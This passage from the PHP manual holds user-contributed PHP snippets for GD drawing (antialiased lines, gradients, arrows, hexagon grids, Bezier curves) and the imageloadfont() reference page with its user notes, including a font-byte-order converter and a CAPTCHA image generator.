        imagesetpixel($image, $x, ceil($y), imagecolorallocatealpha($image, ($tcr * $yb + $icr * $ya), ($tcg * $yb + $icg * $ya), ($tcb * $yb + $icb * $ya), $alpha));

        $x++;
      }
    } else {
      $y = min($y1, $y2);
      $endy = max($y1, $y2) + 1;

      while ($y < $endy) {
        $x = ($y - $b) / $m;
        $xa = ($x == floor($x) ? 1: $x - floor($x));
        $xb = ceil($x) - $x;

        $trgb = ImageColorAt($image, floor($x), $y);
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, floor($x), $y, imagecolorallocatealpha($image, ($tcr * $xa + $icr * $xb), ($tcg * $xa + $icg * $xb), ($tcb * $xa + $icb * $xb), $alpha));

        $trgb = ImageColorAt($image, ceil($x), $y);
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel ($image, ceil($x), $y, imagecolorallocatealpha($image, ($tcr * $xb + $icr * $xa), ($tcg * $xb + $icg * $xa), ($tcb * $xb + $icb * $xa), $alpha));

        $y ++;
      }
    }
  }
} // end of 'imageSmoothAlphaLine()' function
?>
Tyron 02-May-2005 11:50
// Here's a function for drawing a rotated gradient Rectangle (based on a previous note)

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

GradientRect($img,50,50,80,80,30);

ImagePng($img,"test.png");
ImageDestroy($img);
echo "<br><img src=\"test.png\">";

function GradientRect($img, $x1, $y1, $x2, $y2, $wdt) {
  $alpha = atan2($y2-$y1,$x2-$x1);
  $real_wdt = $wdt*sin($alpha);
  $real_hgt = $wdt*cos($alpha);
  echo "real wdt:".$real_wdt;
  echo "<br>real hgt:".$real_hgt;
  echo "<br>angle: ".($angle*180/pi());
  $plotD = 0;
  $i=0;

  $dy = $real_hgt/$wdt;
  $dx = $real_wdt/$wdt;
  $drgb= 256/$wdt;
  while($i++ < $wdt) {
    // Draw a line and move it down and make it lighter to get the gradient effect
    ImageLine($img, $x1-$i*$dx, $y1+$i*$dy, $x2-$i*$dx, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));
    ImageLine($img, $x1-$i*$dx+1, $y1+$i*$dy, $x2-$i*$dx+1, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));

  }
}
ajreading at classixshop dot com 23-Apr-2005 07:28
<?php
// An easy bit of code showing how you can use the ImageLine() function to create gradients

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

$plotD = 0;
while($plotD < 256)
{
    // Draw a line and move it down and make it lighter to get the gradient effect
    ImageLine($img, 0, $plotD , 255, $plotD, ImageColorAllocate($img, $plotD, $plotD, $plotD));
    $plotD++;
}
Header("Content-type: image/png");
ImagePng($img);
ImageDestroy($img);
?>
eviloverlord at gmail dot com 27-Jan-2005 07:50
This code is used to draw a board of hexagons (for games, classes, etc.)

<?php
//Draws a hexagonal board

// User-defined values
$maxTiles = 7;                    //The number of tiles at the center (widest part) of the board
$minTiles = 4;                    //The number of tiles at the edges of the board
$side = 30;                        //The length of the sides of the tiles in pixels
$bgColor = array(0, 0, 0);        //The background color in RGB format
$fgColor = array(255, 255, 255);//The foreground color in RGB format

//Calculated values
$widthInTiles = range($maxTiles, $minTiles);            //In our example: 7, 6, 5, 4
$rowsInTiles = count($widthInTiles)*2-1;                //the total number of rows on our board
$xSide = $side*sin(deg2rad(60));                        //the length of the x-part of the angled sides
$ySide = $side*sin(deg2rad(30));                        //the length of the y-part of the angled sides
$boardWidth = $xSide*$widthInTiles[0]*2;                //The entire width of the board
$boardHeight = $rowsInTiles*($side + $ySide) + $ySide;    //The entire height of the board

// create a blank image and allocate the foreground, background colors
$image = imagecreate($boardWidth, $boardHeight);
$bg = imagecolorallocate($image, $bgColor[0], $bgColor[1], $bgColor[2]);
$fg = imagecolorallocate($image, $fgColor[0], $fgColor[1], $fgColor[2]);

// draw the board
$row = 0;
foreach($widthInTiles as $tiles)
{
    for ($i = 0; $i < $tiles+1; $i++)
    {
        $x1 = $row*$xSide + $i*$xSide*2;
        $y1 = $boardHeight/2;
        $y1Dif = ($side/2) + $row*($side+$ySide);

        $x2 = $x1 + $xSide;
        $y2 = $y1;
        $y2Dif = $ySide;

        $x3 = $x2 + $xSide;

        if ($i < $tiles)
        {
            imageline($image, $x1, $y1 - $y1Dif, $x2, $y2 - $y1Dif - $y2Dif, $fg);
            imageline($image,  $x1, $y1 + $y1Dif, $x2, $y2 + $y1Dif + $y2Dif, $fg);
            imageline($image, $x2, $y2 - $y1Dif - $y2Dif, $x3, $y1 - $y1Dif, $fg);
            imageline($image, $x2, $y2 + $y1Dif + $y2Dif, $x3, $y1 + $y1Dif, $fg);
        }

        imageline($image, $x1, $y1 - $y1Dif, $x1, $y1 - $y1Dif + $side, $fg);
        imageline($image, $x1, $y1 + $y1Dif, $x1, $y1 + $y1Dif - $side, $fg);
    }
    $row++;
}

// output the picture
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>
likavcan at NOSPAN sturak nospan dot sk 05-Jun-2004 03:56
This function draws arrow.

function arrow($im, $x1, $y1, $x2, $y2, $alength, $awidth, $color) {

    $distance = sqrt(pow($x1 - $x2, 2) + pow($y1 - $y2, 2));

    $dx = $x2 + ($x1 - $x2) * $alength / $distance;
    $dy = $y2 + ($y1 - $y2) * $alength / $distance;

    $k = $awidth / $alength;

    $x2o = $x2 - $dx;
    $y2o = $dy - $y2;

    $x3 = $y2o * $k + $dx;
    $y3 = $x2o * $k + $dy;

    $x4 = $dx - $y2o * $k;
    $y4 = $dy - $x2o * $k;

    imageline($im, $x1, $y1, $dx, $dy, $color);
    imageline($im, $x3, $y3, $x4, $y4, $color);
    imageline($im, $x3, $y3, $x2, $y2, $color);
    imageline($im, $x2, $y2, $x4, $y4, $color);

}
Lionel Van Bemten 22-May-2004 03:41
here is a code to draw a "degraded" ... :
<?
header("Content-type : image/jpeg");

$image = @ImageCreate(200, 100)
  or die ("Erreur de cr�ation de l'image");

$lignes_colorees = 1;
$couleur_fond = ImageColorAllocate($image, 255, 255, 255);

$rouge_depart = 100;
$vert_depart = 255;
$bleu_depart = 0;

$rouge_fin = 0;
$vert_fin = 100;
$bleu_fin = 0;

$lignes = 100; //nb de lignes de l'image

$vert_diff = $vert_fin - $vert_depart;
$vert1 = $vert_diff / $lignes;

$bleu_diff = $bleu_fin - $bleu_depart;
$bleu1 = $bleu_diff / $lignes;

$rouge_diff = $rouge_fin - $rouge_depart;
$rouge1 = $rouge_diff / $lignes;

while ($lignes_colorees <= 100)
{
    $rouge2 = $lignes_colorees * $rouge1;    $rouge3 = $rouge_depart + $rouge2;
    $rouge = round($rouge3);

    $vert2 = $lignes_colorees * $vert1;
    $vert3 = $vert_depart + $vert2;
    $vert = round($vert2);

    $bleu2 = $lignes_colorees * $bleu1;
    $bleu3 = $bleu_depart + $bleu2;
    $bleu = round($bleu2);

    $y1 = $lignes_colorees;
    $y2 = $lignes_colorees;
    $x1 = 1;    $x2 = 200;

    $couleur = ImageColorAllocate($image, $rouge, $vert, $bleu);
    //dessine la ligne
    ImageLine($image, $x1, $y1, $x2, $y2, $couleur);    $lignes_colorees ++;
}

//dessine l'image
ImageJpeg($image);
?>
ruturaj_v at yahoo dot com 14-May-2004 08:48
here is a function that helps you create arrows...

<?php
function get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang) {
    $debug = false;

    define("INFINITE", 'INFINITE');
    if (($x2-$x1)==0) {
        if ($y1 == 0) {
            $slope = 0;
        } else {
            $slope = INFINITE;
        }
    } else {
        $slope = -($y2-$y1)/($x2-$x1);
    }

    //$slope = number_format($slope, 2, '.','');
    if ($slope == 'INFINITE') {
        $ang = 90;
    } else {
        $ang = atan ($slope);
        $ang = ($ang * 180)/pi();
    }
    //$ang = number_format($ang, 2, '.', '');
    //echo ($ang);
    //exit;

    //convert the angle
    $arrang1 = ($ang - $arrang);
    $arrangdeg1 = ($ang - $arrang);
    //echo ($arrang1);exit;
    $arrang1 = ($arrang1*pi())/180;

    $arrang2 = ($ang + $arrang);
    $arrangdeg2 = ($ang + $arrang);
    $arrang2 = ($arrang2*pi())/180;
    //echo ($arrang1);

    $arx1 = (floor(cos($arrang1)*$arrhead));
    $ary1 = (floor(sin($arrang1)*$arrhead));
    $arx2 = (floor(cos($arrang2)*$arrhead));
    $ary2 = (floor(sin($arrang2)*$arrhead));
    if ($debug) {
        echo ("Values of arx1.. before add/sub</br>");
        echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$arx2,$ary2</br>");
    }
    if ($ang==0) {
        if ($x2 > $x1) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
        } elseif ($x2 < $x1) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }
    if ($ang > 0 && $ang < 90) {
        if (($x2 > $x1) && ($y2 < $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        } elseif (($x2 < $x1) && ($y2 > $y1)) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }
    if ($ang==90) {
        if (($y2 > $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
        } elseif (($y2 < $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        }
    }
    if ($ang > -90 && $ang < 0) {
        if (($x2 > $x1) && ($y2 > $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        } elseif (($x2 < $x1) && ($y2 < $y1)) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }

    if ($debug) {
        echo ("Angle of line is (".$ang*180/pi().")</br>");
        echo ("Angle of line1 is $arrangdeg1</br>");
        echo ("Angle of line2 is $arrangdeg2</br>");
        echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$x2,$y2</br>");
        echo ("$arx2,$ary2&nbsp;&nbsp;&nbsp;$x2,$y2");
        exit;
    }

    $array_arrows = array (
                    'x1' =>$arx1,
                    'y1' => $ary1,
                    'x2' => $arx2,
                    'y2' => $ary2
                    );
    return $array_arrows;

}

$x1 = 200; $y1 = 200;
$x2 = 400; $y2 = 100;
$arrhead = 15; //10px
$arrang = 10; //10 deg

$ar_arrws = get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang);

$im  = imagecreate (400, 400);
$w   = imagecolorallocate ($im, 255, 255, 255);
$red = imagecolorallocate ($im, 255, 0, 0);

//creates the base line
imageline ($im, $x1, $y1, $x2, $y2, $green);
imageline ($im, $x1+1, $x2+1, $y1+1, $y2+1, $red);
imageline ($im, $x2, $y2, $ar_arrws['x1'], $ar_arrws['y1'], $green);
imageline ($im, $x2, $y2, $ar_arrws['x2'], $ar_arrws['y2'], $green);

?>
yl at sota dot ch 14-Apr-2004 09:44
Simple function to create border for jpg-images:

function createImageBorder($imgName){

     $img     =  substr($imgName, 0, -4); // remove fileExtension
     $ext     = ".jpg";
     $quality = 95;
     $borderColor = 255;  // 255 = white

    /*
     a                         b
     +-------------------------+
     |
     |          IMAGE
     |
     +-------------------------+
     c                         d
    */

    $scr_img = imagecreatefromjpeg($img.$ext);
    $width   = imagesx($scr_img);
    $height  = imagesy($scr_img);

        // line a - b
        $abX  = 0;
        $abY  = 0;
        $abX1 = $width;
        $abY1 = 0;

        // line a - c
        $acX  = 0;
        $acY  = 0;
        $acX1 = 0;
        $acY1 = $height;

        // line b - d
        $bdX  = $width-1;
        $bdY  = 0;
        $bdX1 = $width-1;
        $bdY1 = $height;

        // line c - d
        $cdX  = 0;
        $cdY  = $height-1;
        $cdX1 = $width;
        $cdY1 = $height-1;

       // DRAW LINES
        imageline($scr_img,$abX,$abY,$abX1,$abY1,$borderColor);
        imageline($scr_img,$acX,$acY,$acX1,$acY1,$borderColor);
        imageline($scr_img,$bdX,$bdY,$bdX1,$bdY1,$borderColor);
        imageline($scr_img,$cdX,$cdY,$cdX1,$cdY1,$borderColor);

      // create copy from image
        imagejpeg($scr_img, $img."_border.jpg", $quality);
        imagedestroy($scr_img);
  }

    createImageBorder("myfile.jpg");
XxXoldsaltXxX at hotmail dot com 14-Feb-2004 10:50
Script to draw a grid of lines, which make the entire side of the picture look like a quarter circle.. very cool :)
<?php
$img_disp = imagecreate(1000,1000);
$backcolor = imagecolorallocate($img_disp,0,0,0);
imagefill($img_disp,0,0,$backcolor);
$textcolor = imagecolorallocate($img_disp,255,0,0);
$x1 = 0;
$y1 = 0;
$x2 = 0;
$y2 = 1000;
for(;;){
$y1 = $y1 + 20;
$x2 = $x2 + 20;
imageline($img_disp,$x1,$y1,$x2,$y2,$textcolor);
if ($y1 == 1000){
break;
}
}
header("Content-type: image/png");
imagepng($img_disp); // Draw the image
imagedestroy($img_disp); // Delete the image from the server's memory
?>
mueller at inf dot ufsc dot br 05-Jan-2004 12:26
an algorithm to draw a bezier spline

<?php

$segmentos =30;
$x=array(0,10,80,30);
$y=array(0,10,40,50);

function bezier($p,$steps){
    $t = 1 / $steps;
    $temp = $t * $t;
    $ret = array();
    $f = $p[0];
    $fd = 3 * ($p[1] - $p[0]) * $t;
    $fdd_per_2=3*($p[0]-2*$p[1]+$p[2])*$temp;
    $fddd_per_2=3*(3*($p[1]-$p[2])+$p[3]-$p[0])*$temp*$t;
    $fddd = $fddd_per_2 + $fddd_per_2;
    $fdd = $fdd_per_2 + $fdd_per_2;
    $fddd_per_6 = $fddd_per_2 * (1.0 / 3);
    for ($loop=0; $loop<$steps; $loop++) {
        array_push($ret,$f);
        $f = $f + $fd + $fdd_per_2 + $fddd_per_6;
        $fd = $fd + $fdd + $fddd_per_2;
        $fdd = $fdd + $fddd;
        $fdd_per_2 = $fdd_per_2 + $fddd_per_2;
    }
    return $ret;
}

$by = bezier($y,$segmentos);
$bx = bezier($x,$segmentos);
header ("Content-type: image/jpeg");
$tam = 200;
$im = imagecreate($tam,$tam);
$background_color = imagecolorallocate ($im, 200, 200, 200);
$tc = imagecolorallocate ($im, 233, 14, 91);
for($i=0;$i<$segmentos-1;$i++)
    imageline($im,$bx[$i],$tam-$by[$i],$bx[$i+1],$tam-$by[$i+1],$tc);
imagejpeg($im);
imagedestroy($im);
?>
code_couturier at graffiti dot net 17-Oct-2003 11:56
# antialiased draw_line function 1.1 (faster)

# here is a drawLine() posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

# here are some changes i made:
# 1. changed for true-color images (no index_var used)
# 2. changed rgb extraction to logical shift
# 3. reducing function call's

function drawQSLine ($image,$x1,$y1,$x2,$y2,$r,$g,$b) {
$icr=$r;
$icg=$g;
$icb=$b;
 $dcol = ImageColorAllocate ($image,$icr,$icg,$icb);
 if ($y1 == $y2) imageline ($image,$x1,$y1,$x2,$y1,$dcol);
 else if ($x1 == $x2) {
   imageline ($image,$x1,$y1,$x1,$y2,$dcol);
 } else {
 $m = ($y2 - $y1) / ($x2 - $x1);
 $b = $y1 - $m * $x1;

 if (abs ($m) <2) {

 $x = min ($x1,$x2);
 $endx = max ($x1,$x2)+1;

 while ($x < $endx) {
 $y=$m * $x + $b;
 $y == floor ($y) ? $ya = 1 : $ya = $y - floor ($y);
 $yb = ceil ($y) - $y;

 $trgb = ImageColorAt($image,$x,floor($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,floor ($y),imagecolorallocate ($image,($tcr * $ya + $icr * $yb),
($tcg * $ya + $icg * $yb),
($tcb * $ya + $icb * $yb)));

 $trgb = ImageColorAt($image,$x,ceil($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,ceil ($y),imagecolorallocate ($image,($tcr * $yb + $icr * $ya),
($tcg * $yb + $icg * $ya),
($tcb * $yb + $icb * $ya)));

 $x ++;
 } # while_x_end
 } # if_end
 else { # else_abs_end

 $y = min ($y1,$y2);
 $endy = max ($y1,$y2)+1;

 while ($y < $endy) {
 $x=($y - $b) / $m;
 $x == floor ($x) ? $xa = 1 : $xa = $x - floor ($x);
 $xb = ceil ($x) - $x;

 $trgb = ImageColorAt($image,floor($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,floor ($x),$y,imagecolorallocate ($image,($tcr * $xa + $icr * $xb),
($tcg * $xa + $icg * $xb),
($tcb * $xa + $icb * $xb)));

 $trgb = ImageColorAt($image,ceil($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,ceil ($x),$y,imagecolorallocate ($image, ($tcr * $xb + $icr * $xa),
($tcg * $xb + $icg * $xa),
($tcb * $xb + $icb * $xa)));

 $y ++;
 }# while_y_end
 }# else_abs_end
 }# else_y=y_x=x_end
}# drawOSLine_end
code_couturier at graffiti dot net 01-Oct-2003 09:33
# antialiased lines with true-type-fonts !?
# yip, it works - not very good - but faster
# (below 3 sec) than other routines (~7 sec)
# i saw here.

# the antialiased effect is minimal and only
# at the top of the line - but, as better as
# nothing ;)

# here is a drawLine routine from Logan Gunthorpe
# (logang at deltatee dot com) posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

function drawSoftLine ($image, $x1, $y1, $x2, $y2, $r,$g,$b) {

$fontfile="arial.ttf"; # the font for the dot
$str="�" ; # the point_char for the dot
$size=12; # the point for the dot_size

 $color = ImageColorAllocate ($image, $r,$g,$b);

 if ($x2 == $x1) {
 $tmp = $x1; $x1 = $y1; $y1 = $tmp;
 $tmp = $x2; $x2 = $y2; $y2 = $tmp;
 $swapx = true;
 }

 $m = (float)(( $y2 - $y1 ) / ( $x2 - $x1 ));
 $b = (float)($y1 - $m*$x1);

 $strx = min ( $x1 , $x2 );
 $endx = max ( $x1 , $x2 );
 $x=(int)0;

# the original loop was based on one for_loop
# with the if_swap inside. to speed up this loop
# i double it, to keep off the permanent if_call's.

if (!$swapx) {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $x, $y,
   $color, $fontfile,$str);
 }
} else {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $y, $x,
   $color, $fontfile,$str);
  }
}

}
nanobot at chipx86 dot com 17-Jun-2003 05:28
Here is a function for making antialiased lines:

 function imagesmoothline ( $image , $x1 , $y1 , $x2 , $y2 , $color )
 {
  $colors = imagecolorsforindex ( $image , $color );
  if ( $x1 == $x2 )
  {
   imageline ( $image , $x1 , $y1 , $x2 , $y2 , $color ); // Vertical line
  }
  else
  {
   $m = ( $y2 - $y1 ) / ( $x2 - $x1 );
   $b = $y1 - $m * $x1;
   if ( abs ( $m ) <= 1 )
   {
    $x = min ( $x1 , $x2 );
    $endx = max ( $x1 , $x2 );
    while ( $x <= $endx )
    {
     $y = $m * $x + $b;
     $y == floor ( $y ) ? $ya = 1 : $ya = $y - floor ( $y );
     $yb = ceil ( $y ) - $y;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , floor ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $ya + $colors['red'] * $yb;
     $tempcolors['green'] = $tempcolors['green'] * $ya + $colors['green'] * $yb;
     $tempcolors['blue'] = $tempcolors['blue'] * $ya + $colors['blue'] * $yb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , floor ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , ceil ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $yb + $colors['red'] * $ya;
      $tempcolors['green'] = $tempcolors['green'] * $yb + $colors['green'] * $ya;
     $tempcolors['blue'] = $tempcolors['blue'] * $yb + $colors['blue'] * $ya;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , ceil ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $x ++;
    }
   }
   else
   {
    $y = min ( $y1 , $y2 );
    $endy = max ( $y1 , $y2 );
    while ( $y <= $endy )
    {
     $x = ( $y - $b ) / $m;
     $x == floor ( $x ) ? $xa = 1 : $xa = $x - floor ( $x );
     $xb = ceil ( $x ) - $x;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , floor ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xa + $colors['red'] * $xb;
     $tempcolors['green'] = $tempcolors['green'] * $xa + $colors['green'] * $xb;
     $tempcolors['blue'] = $tempcolors['blue'] * $xa + $colors['blue'] * $xb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , floor ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , ceil ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xb + $colors['red'] * $xa;
     $tempcolors['green'] = $tempcolors['green'] * $xb + $colors['green'] * $xa;
     $tempcolors['blue'] = $tempcolors['blue'] * $xb + $colors['blue'] * $xa;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , ceil ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $y ++;
    }
   }
  }
 }

EDITOR: My previous code contained bugs. Please use this one instead.
kramesch_NOSPAM_ at _nospam_idsolutions dot at 26-Feb-2002 01:44
Here is a simple code to draw a line with an arbitrary stroke. The parameter aStroke is treated as a cyclic boolean array where true equals "set a point"
e.g. $aDotStroke = array(true,false);

function ImageStrokeLine($im,$x1,$y1,$x2,$y2,$farbe, $aStroke)
  {
    $deltax = abs($x2 - $x1);
    $deltay = abs($y2 - $y1);
    $x = $x1;
    $y = $y1;

    if ($x2 >= $x1)
    {
      $xinc1 = 1;
      $xinc2 = 1;
    }
    else
    {
      $xinc1 = -1;
      $xinc2 = -1;
    }

    if ($y2 >= $y1)
    {
      $yinc1 = 1;
      $yinc2 = 1;
    }
    else
    {
      $yinc1 = -1;
      $yinc2 = -1;
    }

    if ($deltax >= $deltay)
    {
      $xinc1 = 0;
      $yinc2 = 0;
      $den = $deltax;
      $num = $deltax / 2;
      $numadd = $deltay;
      $numpixels = $deltax;
    }
    else
    {
      $xinc2 = 0;
      $yinc1 = 0;
      $den = $deltay;
      $num = $deltay / 2;
      $numadd = $deltax;
      $numpixels = $deltay;
    }

    for ($curpixel = 0; $curpixel <= $numpixels; $curpixel++)
    {
      if ($iStrokeCount >= count($aStroke))
      {
        $iStrokeCount = 0;
      }

      if ($aStroke[$iStrokeCount++])
      {
        ImageSetPixel($im,$x, $y,$farbe);
      }
      $num += $numadd;
      if ($num >= $den)
      {
        $num -= $den;
        $x += $xinc1;
        $y += $yinc1;
      }
      $x += $xinc2;
      $y += $yinc2;
    }
  }
darren at php4hosting dot com 28-Oct-2000 10:48
It does work (With a bit of editing)
save the following as graph.php (You dont need any directorys)

<?php
Header("Content-type: image/png");
$picWidth=360*2;
$picHeight=200;
$pic=ImageCreate($picWidth+1,$picHeight+1);
$cWhite=ImageColorAllocate($pic,255,255,255);
ImageFilledRectangle($pic,0,0,$picWidth+1,$picHeight+1,$cWhite);
$cRed=ImageColorAllocate($pic,255,0,0);
$cBlue=ImageColorAllocate($pic,0,0,255);
$curX=0;
$curY=$picHeight;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(cos(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cRed);
$curX=$newX;
$curY=$newY;
}
$curX=0;
$curY=$picHeight/2;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(sin(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cBlue);
$curX=$newX;
$curY=$newY;
}
$cBlack=ImageColorAllocate($pic,0,0,0);
ImageLine($pic,0,0,0,$picHeight,$cBlack);
ImageLine($pic,0,$picHeight/2,$picWidth,$picHeight/2,$cBlack);
ImagePNG($pic);
ImageDestroy($pic);
?>
imagelayereffect
imageloadfont
GD and Image Functions


Load a new font

imageline
imagepalettecopy
GD and Image Functions
PHP Manual

imageloadfont

(PHP 4, PHP 5)

imageloadfont — Load a new font

Description

int imageloadfont ( string $file )

imageloadfont() loads a user-defined bitmap and returns its identifier.

Parameters

file

The font file format is currently binary and architecture dependent. This means you should generate the font files on the same type of CPU as the machine you are running PHP on.

Font file format
byte position | C data type | description
byte 0-3 | int | number of characters in the font
byte 4-7 | int | value of first character in the font (often 32 for space)
byte 8-11 | int | pixel width of each character
byte 12-15 | int | pixel height of each character
byte 16- | char | array with character data, one byte per pixel in each character, for a total of (nchars*width*height) bytes.

Return Values

The font identifier which is always bigger than 5 to avoid conflicts with built-in fonts or FALSE on errors.

Examples

Example #1 imageloadfont() usage example

<?php
// Create a new image instance
$im = imagecreatetruecolor(50, 20);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Make the background white
imagefilledrectangle($im, 0, 0, 49, 19, $white);

// Load the gd font and write 'Hello'
$font = imageloadfont('./04b.gdf');
imagestring($im, $font, 0, 0, 'Hello', $black);

// Output to browser
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

See Also

  • imagefontwidth() - Get font width
  • imagefontheight() - Get font height

User Contributed Notes

siker at norwinter dot com 28-Aug-2005 06:37
Working under the assumption that the only 'architecture dependant' part of the font files is endianness, I wrote a quick and dirty Python script to convert between the two. It has only been tested on a single font on a single machine so don't bet your life on it working. All it does is swap the byte order of the first four ints.

#!/usr/bin/env python

f = open("myfont.gdf", "rb");
d = open("myconvertedfont.gdf", "wb");

for i in xrange(4):
        b = [f.read(1) for j in xrange(4)];
        b.reverse();
        d.write(''.join(b));

d.write(f.read());

I successfully used this script to convert anonymous.gdf, from one of the font links below, into something useable on Mac OS X.
matthew at exanimo dot com 15-Aug-2005 10:28
Remember - GD fonts aren't antialiased.  If you're planning on using a pre-existing (TrueType) font, you may want to consider using imagettftext() instead of phillip's function.
alex at bestgames dot ro 02-Jul-2005 05:01
Confirmation code generation for preventing automated registrations on a website.

Function arguments are:
$code - the code that you shall random generate
$location - relative location of the image that shall be generated
$fonts_dir - relative location for the GDF fonts directory

This function will create an image with the code given by you and will save it in the directory specified with the name formed by MD5 hash of the code.

You may insert as many font types in the fonts directory as you wish, with random names.

<?php
function generate_image($code, $location, $fonts_dir)
{
     $image  = imagecreate(150, 60);
     imagecolorallocate($image, rand(0, 100), rand(100, 150), rand(150, 250));
     $fonts = scandir($fonts_dir);

     $max = count($fonts) - 2;

     $width = 10;
     for ($i = 0; $i <= strlen($code); $i++)
     {
         $textcolor = imagecolorallocate($image, 255, 255, 255);
         $rand = rand(2, $max);
         $font = imageloadfont($fonts_dir."/".$fonts[$rand]);

         $fh = imagefontheight($font);
         $fw = imagefontwidth($font);

         imagechar($image, $font, $width, rand(10, 50 - $fh), $code[$i], $textcolor);
          $width = $width + $fw;

     }

     imagejpeg($image, $location."/".md5($code).".jpg", 100);
     imagedestroy($image);

     return $code;

}

?>
puremango dot co dot uk at gmail dot com 22-Apr-2005 05:54
I've written an online tool in PHP that allows you to create GD fonts from PNG images.

much usefulness for custom font creation, I feel.

see the tool@
http://puremango.co.uk/cm_fontmaker_114.php
(source available online)
null at phpmix dot com 22-Dec-2004 09:59
Sometime ago I wrote a small tutorial on how to create dynamic signatures using gd_fonts. I also uploaded some gd_fonts...

You can check it out here, if you wish:
http://www.phpmix.com/phpBB2/viewtopic.php?t=328

Hope that helps
widget at oneblacksheep dot com 05-Jun-2004 05:41
After noting the gd fonts page from dryes58 above was down I contacted the him and have put the pages up at http://www.widgnet.com/gdf_fonts/ hows about that then =)
angryziber at mail dot com 23-Aug-2000 07:23
You all should look at the GD image library site for information on extra fonts, it can be found at http://www.boutell.com/gd/
imageline
imagepalettecopy
GD and Image Functions


Copy the palette from one image to another

imageloadfont
imagepng
GD and Image Functions
PHP Manual

imagepalettecopy

